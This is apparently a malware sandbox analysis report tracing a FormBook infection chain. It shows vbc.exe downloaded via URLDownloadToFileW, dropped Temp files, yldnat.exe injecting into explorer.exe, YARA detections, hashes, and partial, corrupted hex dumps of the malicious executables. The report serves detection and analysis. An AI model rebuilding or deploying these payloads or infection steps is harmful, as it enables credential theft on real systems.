for backup ident 
| open reparse 
point

object name collision 1 36D0503 URLDownloa
dToFileW

C:\Users\user\AppData\Roaming\
Microsoft\Windows\Cookies

read data or list 
directory | 
synchronize

device | sparse 
file

directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 36D0503 URLDownloa
dToFileW

C:\Users\user read data or list 
directory | 
synchronize

device | sparse 
file

directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 36D0503 URLDownloa
dToFileW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device | sparse 
file

directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 36D0503 URLDownloa
dToFileW

C:\Users\user\AppData\Local\Microsoft\Windows\History read data or list 
directory | 
synchronize

device | sparse 
file

directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 36D0503 URLDownloa
dToFileW

C:\Users\Public\vbc.exe read attributes | 
synchronize | 
generic write

device | sparse 
file

synchronous io 
non alert | non 
directory file

success or wait 1 36D0503 URLDownloa
dToFileW

File Path Offset Length Value Ascii Completion Count Source Address Symbol

File Written
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C:\Users\user\AppData\Local\Mi
crosoft\Windows\Temporary Internet 
Files\Content.IE5\ZAE7RW1
P\vbc[1].exe

0 694 4d 5a fd 00 03 00 00 00 
04 00 00 00 fd fd 00 00 fd 
00 00 00 00 00 00 00 40 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 fd 00 00 00 0e 
1f fd 0e 00 fd 09 fd 21 fd 
01 4c fd 21 54 68 69 73 
20 70 72 6f 67 72 61 6d 
20 63 61 6e 6e 6f 74 20 
62 65 20 72 75 6e 20 69 
6e 20 44 4f 53 20 6d 6f 
64 65 2e 0d 0d 0a 24 00 
00 00 00 00 00 00 fd 21 
60 47 fd 40 0e 14 fd 40 
0e 14 fd 40 0e 14 2f 4f 51 
14 fd 40 0e 14 fd 40 0f 14 
49 40 0e 14 2f 4f 53 14 fd 
40 0e 14 fd 63 3e 14 fd 
40 0e 14 2b 46 08 14 fd 
40 0e 14 52 69 63 68 fd 
40 0e 14 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 50 45 00 00 4c 
01 05 00 fd fd 4f 61 00 00 
00 00 00 00 00 00 fd 00 
0f 01 0b 01 06 00 00 68 
00 00 00 12 3a 00 00 08 
00 

MZ@!L!This program 
cannot be run in DOS 
mode.$!`G@@@/OQ@
@I@/
OS@c>@+F@Rich@PE
LOah:

success or wait 1 36D0503 URLDownloadTo
FileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Temporary Internet 
Files\Content.IE5\ZAE7RW1
P\vbc[1].exe

694 8192 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 

success or wait 1 36D0503 URLDownloadTo
FileW

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\AppData\Local\Mi
crosoft\Windows\Temporary Internet 
Files\Content.IE5\ZAE7RW1
P\vbc[1].exe

8886 4164 10 57 fd fd fd 45 fd fd fd 
00 03 00 00 50 fd 83 fd 
01 0c 09 50 fd 75 0c fd 75 
08 fd 04 36 00 00 33 fd 
3b fd 0f fd fd 00 00 00 fd 
45 10 02 74 23 53 53 53 
fd 45 fd 53 50 fd fd fd fd 
fd fd fd 5d fd 50 53 fd 75 
fd fd 15 30 fd 40 00 3d 03 
01 00 00 75 67 fd fd fd fd 
fd fd 68 05 01 00 00 50 
53 fd 1d 04 fd 40 00 fd 27 
fd fd 75 4e fd 75 10 fd fd 
fd fd fd fd 50 fd 75 fd fd 
74 fd fd fd fd fd 75 16 fd 
fd fd fd fd fd 68 05 01 00 
00 50 57 fd 75 fd fd c5 fd 
74 fd fd 75 fd fd 15 10 fd 
40 00 6a 03 fd fd 3a 00 
00 fd fd 75 1e fd 75 0c fd 
75 08 fd 15 18 fd 40 00 fd 
1b fd 75 fd fd 15 10 fd 40 
00 fd fd 03 00 00 fd 0b 6a 
00 56 fd 75 0c fd 75 08 fd 
fd 5f 5e 5b fd fd 0c 00 55 
fd fd fd 00 00 00 fd 7d 0c 
10 01 00 00 75 19 6a 00 
68 fd 00 00 00 6a 01 fd 
75 08 fd 15 40 fd 

WEPPuu63;Et#SSSESP]
PSu0@=ughPS
@'uNuPutuhPWutu@j:uu
u@u@jVuu_^[U}ujhju@

success or wait 1 36D0503 URLDownloadTo
FileW

C:\Users\Public\vbc.exe 0 13050 4d 5a fd 00 03 00 00 00 
04 00 00 00 fd fd 00 00 fd 
00 00 00 00 00 00 00 40 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 fd 00 00 00 0e 
1f fd 0e 00 fd 09 fd 21 fd 
01 4c fd 21 54 68 69 73 
20 70 72 6f 67 72 61 6d 
20 63 61 6e 6e 6f 74 20 
62 65 20 72 75 6e 20 69 
6e 20 44 4f 53 20 6d 6f 
64 65 2e 0d 0d 0a 24 00 
00 00 00 00 00 00 fd 21 
60 47 fd 40 0e 14 fd 40 
0e 14 fd 40 0e 14 2f 4f 51 
14 fd 40 0e 14 fd 40 0f 14 
49 40 0e 14 2f 4f 53 14 fd 
40 0e 14 fd 63 3e 14 fd 
40 0e 14 2b 46 08 14 fd 
40 0e 14 52 69 63 68 fd 
40 0e 14 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 50 45 00 00 4c 
01 05 00 fd fd 4f 61 00 00 
00 00 00 00 00 00 fd 00 
0f 01 0b 01 06 00 00 68 
00 00 00 12 3a 00 00 08 
00 

MZ@!L!This program 
cannot be run in DOS 
mode.$!`G@@@/OQ@
@I@/
OS@c>@+F@Rich@PE
LOah:

success or wait 1 36D0503 URLDownloadTo
FileW

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\AppData\Local\Mi
crosoft\Windows\Temporary Internet 
Files\Content.IE5\ZAE7RW1
P\vbc[1].exe

14388 8192 50 53 fd 33 22 00 00 fd 
76 18 53 fd 40 22 00 00 
fd 04 45 fd 1f 7a 00 50 fd 
5a 22 00 00 53 57 fd 15 
44 fd 40 00 55 fd 76 08 fd 
27 fd fd fd fd fd 0f fd fd fd 
fd fd 39 2e 0f fd fd fd fd fd 
fd 7e 04 05 75 1d 39 2d 
2c fd 7a 00 0f fd 13 01 00 
00 39 2d 20 fd 7a 00 0f fd 
71 fd fd fd fd 02 01 00 00 
fd 35 78 7a 7a 00 fd 15 
38 fd 40 00 fd 35 60 0f 7a 
00 39 2e 0f fd fd 00 00 00 
fd 46 04 56 fd 34 fd fd fd 
40 00 66 fd 06 66 03 05 
fd 7a 7a 00 57 0f fd fd 50 
fd 35 fd fd 7a 00 fd 15 3c 
fd 40 00 3b 63 78 7a 7a 
00 0f fd fd 00 00 00 fd 76 
2c 6a 06 50 fd fd 00 00 
00 fd 44 24 10 50 68 fd 
03 00 00 57 fd 15 64 fd 
40 00 50 fd 15 10 fd 40 
00 fd 44 24 10 50 57 fd 
15 14 fd 40 00 6a 15 55 
55 fd 74 24 20 fd 74 24 
20 55 fd 35 78 7a 7a 00 
fd 15 fd fd 40 00 55 fd 76 
0c fd 56 fd fd fd 

PS3"vS@"EzPZ"SWD@
Uv'9.~u9-,z9- 
zq5xzz8@5`z9.FV4@ffzz
WP5z<@;x
zzv,jPD$PhWd@P@D$P
W@jUUt$ t$ U
5xzz@UvV

success or wait 32 36D0503 URLDownloadTo
FileW

C:\Users\Public\vbc.exe 13050 18732 50 fd 74 24 2c fd 74 24 2c 
68 00 00 00 fd 57 56 68 
fd 00 00 00 fd 15 24 fd 40 
00 fd 68 1f 7a 00 57 fd fd 
fd fd fd fd fd 74 08 6a 02 
58 fd 00 00 00 fd fd 00 00 
00 39 3d 40 fd 7a 00 0f fd 
fd 00 00 00 6a 05 fd 35 
68 1f 7a 00 fd 15 50 fd 40 
00 68 3c fd 40 00 fd 76 
2a 00 00 fd fd 75 0a 68 
30 fd 40 00 fd 68 2a 00 
00 fd 35 28 fd 40 00 fd 18 
fd 40 00 53 55 57 fd 85 fd 
75 16 53 68 04 fd 40 00 
57 fd fd 53 fd 2d 64 7a 7a 
00 fd 15 1c fd 40 00 fd fd 
7a 7a 00 57 fd fd 69 68 fd 
40 40 00 0f fd fd 57 50 fd 
35 fd fd 7a 00 fd 15 2c fd 
40 00 6a 05 fd fd fd 56 fd 
fd fd 6a 01 fd fd fd fd fd fd 
fd 2b 57 fd fd 17 00 00 fd 
fd 74 18 39 3d 6c 7a 7a 
00 0f fd 4e fd fd fd 6a 02 
fd 2e fd fd fd fd 42 fd fd fd 
6a 01 fd 22 fd fd fd 33 fd 
5f 5e 5d 5b fd fd 10 fd 53 
55 56 57 fd 00 

Pt$,t$,hWVh$@hzWtjX9
=@zj5hzP@h
<@v*uh0@h*5(@@SUW
uSh@WS-dzz@zz
Wih@@WP5z,@jVj+Wt9
=lzzNj.Bj"3_^][SUVW

success or wait 4 36D0503 URLDownloadTo
FileW

C:\Users\Public\vbc.exe 197694 66078 4c fd 40 20 17 fd fd 10 58 
62 fd 43 fd fd fd 35 fd 43 
fd 21 fd 4e fd 3d f2 52 fa 
fd 37 fd 6e fd fd dc fd fd 
56 fd 65 fd fd 11 21 50 fd 
1e fd 60 fd fd fd 69 5c fd 
fd 1d fd 09 36 59 29 0a fd 
fd fd fd 71 3e fd 79 35 04 
5a fd fd 23 fd fd 62 28 22 
fd fd fd fd fd 73 fd 15 fd fd 
54 fd 76 20 fd fd fd 61 fd 
fd fd fd 30 02 49 7c fd 6e 
fd fd fd 66 29 02 fd 74 6b 
fd 6d fd fd fd 42 fd fd fd 
50 0a fd fd 76 fd fd 11 2b 
2d 31 5b 41 fd fd 5a 62 fd 
74 fd fd b0 69 5d fd 3c fd 
fd 39 fd d6 fd 11 fd 6e fd 
1f fd 7d 79 23 fd fd 4f 6c 
fd fd 47 38 fd 25 fd 62 0f 
31 06 2f 2b 55 59 fd 5f fd 
31 47 7e 0f 6d b2 71 65 
56 fd 28 44 2f 62 35 fd 29 
21 0a fd fd fd fd fd 53 fd 
fd 37 27 48 67 47 2d fd 
15 0c 0b 1d 25 fd fd fd fd 
fd 2e 23 fd fd 7b 49 1e 

L@ 
XbC5C!N=R7nVe!P`i\6Y)
q>y5Zb"sTv 
a0I|nf)tkmBPv+-1[AZbti]
<9
n}y#OlG8%b1/+UY_1G~
mqeV(D/b5)!S7'HgG-%.#
{I

success or wait 1 36D0503 URLDownloadTo
FileW

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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File Path Offset Length Completion Count Source Address Symbol

Key Path Completion Count Source Address Symbol

HKEY_CURRENT_USER\Software\Microsoft\Equation Editor success or wait 1 41369F RegCreateKeyEx
A

HKEY_CURRENT_USER\Software\Microsoft\Equation Editor\3.0 success or wait 1 41369F RegCreateKeyEx
A

HKEY_CURRENT_USER\Software\Microsoft\Equation Editor\3.0\Options success or wait 1 41369F RegCreateKeyEx
A

Key Path Name Type Old Data New Data Completion Count
Source
Address

Symbol

Target ID: 4

Start time: 15:18:48

Start date: 14/05/2022

Path: C:\Users\Public\vbc.exe

Wow64 process (32bit): true

Commandline: "C:\Users\Public\vbc.exe" 

Imagebase: 0x400000

File size: 263772 bytes

MD5 hash: DE76EF6A11A63EFC00B0303888BC0B7F

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Antivirus matches: Detection: 100%, Joe Sandbox ML
Detection: 51%, ReversingLabs

Reputation: low

File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\ read data or list 
directory | 
synchronize

device | sparse 
file

directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 405C28 CreateDirect
oryW

C:\Users\user\AppData\Local\Temp\nss8A2C.tmp read attributes | 
synchronize | 
generic read

device | sparse 
file

synchronous io 
non alert | non 
directory file

success or wait 1 4061CC GetTempFile
NameW

C:\Users\user\AppData\Local\Temp\nss8A2D.tmp read attributes | 
synchronize | 
generic read

device | sparse 
file

synchronous io 
non alert | non 
directory file

success or wait 1 4061CC GetTempFile
NameW

C:\Users\user\AppData\Local\Temp\nsc8B56.tmp read attributes | 
synchronize | 
generic read

device | sparse 
file

synchronous io 
non alert | non 
directory file

success or wait 1 4061CC GetTempFile
NameW

C:\Users read data or list 
directory | 
synchronize

device | sparse 
file

directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 405C28 CreateDirect
oryW

C:\Users\user read data or list 
directory | 
synchronize

device | sparse 
file

directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 405C28 CreateDirect
oryW

Registry Activities

Key Created

Analysis Process: vbc.exe PID: 2172, Parent PID: 2364

General

File Activities

File Created
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C:\Users\user\AppData read data or list 
directory | 
synchronize

device | sparse 
file

directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 405C28 CreateDirect
oryW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device | sparse 
file

directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 405C28 CreateDirect
oryW

C:\Users\user\AppData\Local\Temp read data or list 
directory | 
synchronize

device | sparse 
file

directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 405C28 CreateDirect
oryW

C:\Users\user\AppData\Local\Temp\nsc8B56.tmp read data or list 
directory | 
synchronize

device | sparse 
file

directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 405BE8 CreateDirect
oryW

C:\Users read data or list 
directory | 
synchronize

device | sparse 
file

directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 405C28 CreateDirect
oryW

C:\Users\user read data or list 
directory | 
synchronize

device | sparse 
file

directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 405C28 CreateDirect
oryW

C:\Users\user\AppData read data or list 
directory | 
synchronize

device | sparse 
file

directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 405C28 CreateDirect
oryW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device | sparse 
file

directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 405C28 CreateDirect
oryW

C:\Users\user\AppData\Local\Temp read data or list 
directory | 
synchronize

device | sparse 
file

directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 405C28 CreateDirect
oryW

C:\Users\user\AppData\Local\Temp\l4nnhna3wvu7agf read attributes | 
synchronize | 
generic write

device | sparse 
file

synchronous io 
non alert | non 
directory file

success or wait 1 40618A CreateFileW

C:\Users\user\AppData\Local\Temp\boswagvgna read attributes | 
synchronize | 
generic write

device | sparse 
file

synchronous io 
non alert | non 
directory file

success or wait 1 40618A CreateFileW

C:\Users\user\AppData\Local\Temp\yldnat.exe read attributes | 
synchronize | 
generic write

device | sparse 
file

synchronous io 
non alert | non 
directory file

success or wait 1 40618A CreateFileW

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\nss8A2C.tmp success or wait 1 40398E DeleteFileW

C:\Users\user\AppData\Local\Temp\nsc8B56.tmp success or wait 1 405DA9 DeleteFileW

File Path Offset Length Value Ascii Completion Count Source Address Symbol

File Deleted

File Written
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C:\Users\user\AppData\Local\Te
mp\nss8A2D.tmp

0 32768 fd 40 00 00 fd 00 00 00 
2c 01 00 00 02 00 00 00 
fd 01 00 00 04 00 00 00 
0c 22 00 00 fd 00 00 00 
24 31 00 00 00 00 00 00 
04 40 00 00 01 00 00 00 
fd 40 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 fd fd fd fd fd 
fd fd fd fd fd fd fd 00 00 
00 00 00 fd 00 00 fd 00 
00 00 fd fd fd fd fd fd fd fd 
fd fd fd fd fd fd fd fd fd fd 
fd fd 00 00 00 00 fd fd fd 
fd fd fd fd fd fd fd fd fd fd 
fd fd fd fd fd fd fd 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 

@,"$1@@ success or wait 9 40622A WriteFile

C:\Users\user\AppData\Local\Te
mp\l4nnhna3wvu7agf

0 16384 5e fd fd 06 fd 05 03 26 fd 
19 28 33 78 fd fd 5e 08 
1d 0d 00 fd 5c 35 1e fd fd 
78 fd 0a fd 7b 0f fd fd fd fd 
80 65 11 64 b8 fd 79 fd 
71 0f fd fd fd fd 0c 32 41 
fd 6d fd fd 7e fd fd 76 fd 
13 fd fd fd 04 fd 52 fd 76 
fd fd 16 66 0e fd fd fd fd 
5b c4 fd 66 fd fd 07 7e 6f 
fd 0e fd fd 29 65 fd 29 11 
58 16 fd fd 19 fd fd 77 fd 
fd fd 00 09 35 fd 1b fd 7a 
fd fd fd fd fd 45 fd fd 00 fd 
fd 04 fd fd fd fd 0c 5c fd 
66 5f fd 3d 66 1b fd 42 59 
62 49 76 fd fd 07 1d fd fd 
fd 4d fd d0 fd 61 fd 4a fd 
51 2e fd 4f 78 fd fd 43 fd 
21 5b 7e 0c 12 fd fd 1d fd 
fd fd 6f fd 4a fd fd 34 4f 
00 65 70 70 21 fd 6b fd 
6b fd 03 25 42 00 fd fd 0b 
1a 07 fd 1f 61 6c 75 1c 51 
fd fd fd 77 33 fd fd fd fd fd 
70 46 2d 7d fd fd 3d fd fd 
35 fd fd 

^&
(3x^\5x{edyq2Am~vRvf[f
~o)e)X
w5zE\f_=fBYbIvMaJQ.Ox
C![~oJ4Oe
pp!kk%BaluQw3pF-}=5

success or wait 11 40622A WriteFile

C:\Users\user\AppData\Local\Te
mp\boswagvgna

0 5255 fd fd fd fd 4c 1a fd 62 fd fd 
52 4b 4e 62 7c fd fd 4e 
25 7b fd fd 5c 56 4e 25 
7b fd fd 5c fd 62 7c fd fd 
fd 5c fd fd fd fd 62 7c fd fd 
fd 6c fd fd 6c fd 14 5c fd 
55 fd fd fd fd fd 18 5c fd 
18 4c fd fd 6c fd fd 6c fd 
14 5c fd 55 fd fd fd fd fd 
18 5c fd 18 4c fd fd 6c fd 
fd 6c fd 14 5c fd 55 fd fd 
fd fd fd 18 5c fd 18 4c fd 
fd 6c fd fd 6c fd 14 5c fd 
55 fd 29 fd fd fd 18 5c 25 
18 4c 21 62 64 fd fd 6b fd 
77 fd 4d 7a 25 fd fd 5c fd 
08 18 5c fd 18 4c fd 1a 5c 
fd 62 fd fd fd 18 5c fd 18 
54 fd 1a 5c fd 1a 54 fd 14 
fd 20 fd fd 77 fd 48 fd fd 
1a 5c fd fd 4c fd 14 fd 1f 
18 5c fd 4e 4b 18 7c fd 
62 fd fd 77 fd fd fd fd fd fd 
62 5c ba 7c fd fd 6c fd 48 
fd 6c fd 47 fd 6c 60 4d fd 
6c 25 fd 48 fd 6c fd 46 fd 
6c fd 43 1c fd 71 fd 7e 5d 
1a fd fd 

LbRKNb|N%{\N%
{\b|\b|ll\U\Lll\U
\Lll\U\Lll\U)\%L!bdkwMz
%\\L\b\T\T 
wH\L\NK|bwb|lHlGlMl%Hl
FlCq~]

success or wait 1 40622A WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\AppData\Local\Te
mp\yldnat.exe

0 16384 4d 5a fd 00 03 00 00 00 
04 00 00 00 fd fd 00 00 fd 
00 00 00 00 00 00 00 40 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 fd 00 00 00 0e 
1f fd 0e 00 fd 09 fd 21 fd 
01 4c fd 21 54 68 69 73 
20 70 72 6f 67 72 61 6d 
20 63 61 6e 6e 6f 74 20 
62 65 20 72 75 6e 20 69 
6e 20 44 4f 53 20 6d 6f 
64 65 2e 0d 0d 0a 24 00 
00 00 00 00 00 00 fd 16 
fd fd 77 fd fd fd 77 fd fd fd 
77 fd fd fd 25 60 fd fd 77 
fd fd fd 25 5e fd fd 77 fd 
fd fd 25 61 fd 77 fd fd 1f 
fd fd fd 77 fd fd fd 77 fd fd 
77 fd fd 70 0e fd fd fd 77 
fd fd 70 0e 7e fd fd 77 fd 
fd 70 0e fd fd fd 77 fd fd 
52 69 63 68 fd 77 fd fd 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 50 
45 00 00 4c 01 05 00 7a 
26 7e 62 00 00 00 00 00 
00 00 00 fd 00 02 

MZ@!L!This program 
cannot be run in DOS 
mode.$www%`w%^w%a
www
wpwp~wpwRichwPELz&
~b

success or wait 5 40622A WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

C:\Users\Public\vbc.exe unknown 512 success or wait 74 4061FB ReadFile

C:\Users\Public\vbc.exe unknown 16384 success or wait 14 4061FB ReadFile

C:\Users\user\AppData\Local\Temp\nss8A2D.tmp unknown 4 success or wait 1 4061FB ReadFile

C:\Users\user\AppData\Local\Temp\nss8A2D.tmp unknown 16610 success or wait 1 403465 ReadFile

C:\Users\user\AppData\Local\Temp\nss8A2D.tmp unknown 4 success or wait 3 4061FB ReadFile

Target ID: 5

Start time: 15:18:51

Start date: 14/05/2022

Path: C:\Users\user\AppData\Local\Temp\yldnat.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna

Imagebase: 0x13b0000

File size: 80384 bytes

MD5 hash: BC3C746DB1D3F8A821BBDF17CA023450

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000005.00000002.983399787.0000000000120000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 
00000005.00000002.983399787.0000000000120000.00000004.00001000.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding 
dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000005.00000002.983399787.0000000000120000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

Reputation: low

File Path Offset Length Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\boswagvgna unknown 4096 success or wait 1 13B2C9C ReadFile

C:\Users\user\AppData\Local\Temp\boswagvgna unknown 4096 success or wait 1 13B2C9C ReadFile

File Read

Analysis Process: yldnat.exe PID: 1148, Parent PID: 2172

General

File Activities

File Read
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C:\Users\user\AppData\Local\Temp\l4nnhna3wvu7agf unknown 175103 success or wait 1 110A09 ReadFile

C:\Windows\SysWOW64\ntdll.dll unknown 1314112 success or wait 1 11051C ReadFile

C:\Windows\SysWOW64\ntdll.dll unknown 1314112 success or wait 1 11051C ReadFile

C:\Windows\SysWOW64\ntdll.dll unknown 1314112 success or wait 1 11051C ReadFile

C:\Windows\SysWOW64\ntdll.dll unknown 1314112 success or wait 1 11051C ReadFile

File Path Offset Length Completion Count Source Address Symbol

Target ID: 6

Start time: 15:18:53

Start date: 14/05/2022

Path: C:\Users\user\AppData\Local\Temp\yldnat.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna

Imagebase: 0x13b0000

File size: 80384 bytes

MD5 hash: BC3C746DB1D3F8A821BBDF17CA023450

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000000.982109510.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 
00000006.00000000.982109510.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding 
dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000000.982109510.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000002.1032166526.0000000000240000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 
00000006.00000002.1032166526.0000000000240000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding 
dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000002.1032166526.0000000000240000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 
00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding 
dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000002.1032081329.00000000000C0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 
00000006.00000002.1032081329.00000000000C0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding 
dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000002.1032081329.00000000000C0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000000.981158681.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 
00000006.00000000.981158681.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding 
dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000000.981158681.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

Reputation: low

File Path Offset Length Completion Count Source Address Symbol

C:\Windows\SysWOW64\ntdll.dll 0 1314112 success or wait 1 41A3C7 NtReadFile

Analysis Process: yldnat.exe PID: 2452, Parent PID: 1148

General

File Activities

File Read

Analysis Process: explorer.exe PID: 1860, Parent PID: 2452

General
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Target ID: 7

Start time: 15:18:57

Start date: 14/05/2022

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Explorer.EXE

Imagebase: 0xff040000

File size: 3229696 bytes

MD5 hash: 38AE1B3C38FAEF56FE4907922F0385BA

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000000.1012975505.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 
00000007.00000000.1012975505.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding 
dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000000.1012975505.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000000.1024425011.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 
00000007.00000000.1024425011.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding 
dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000000.1024425011.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

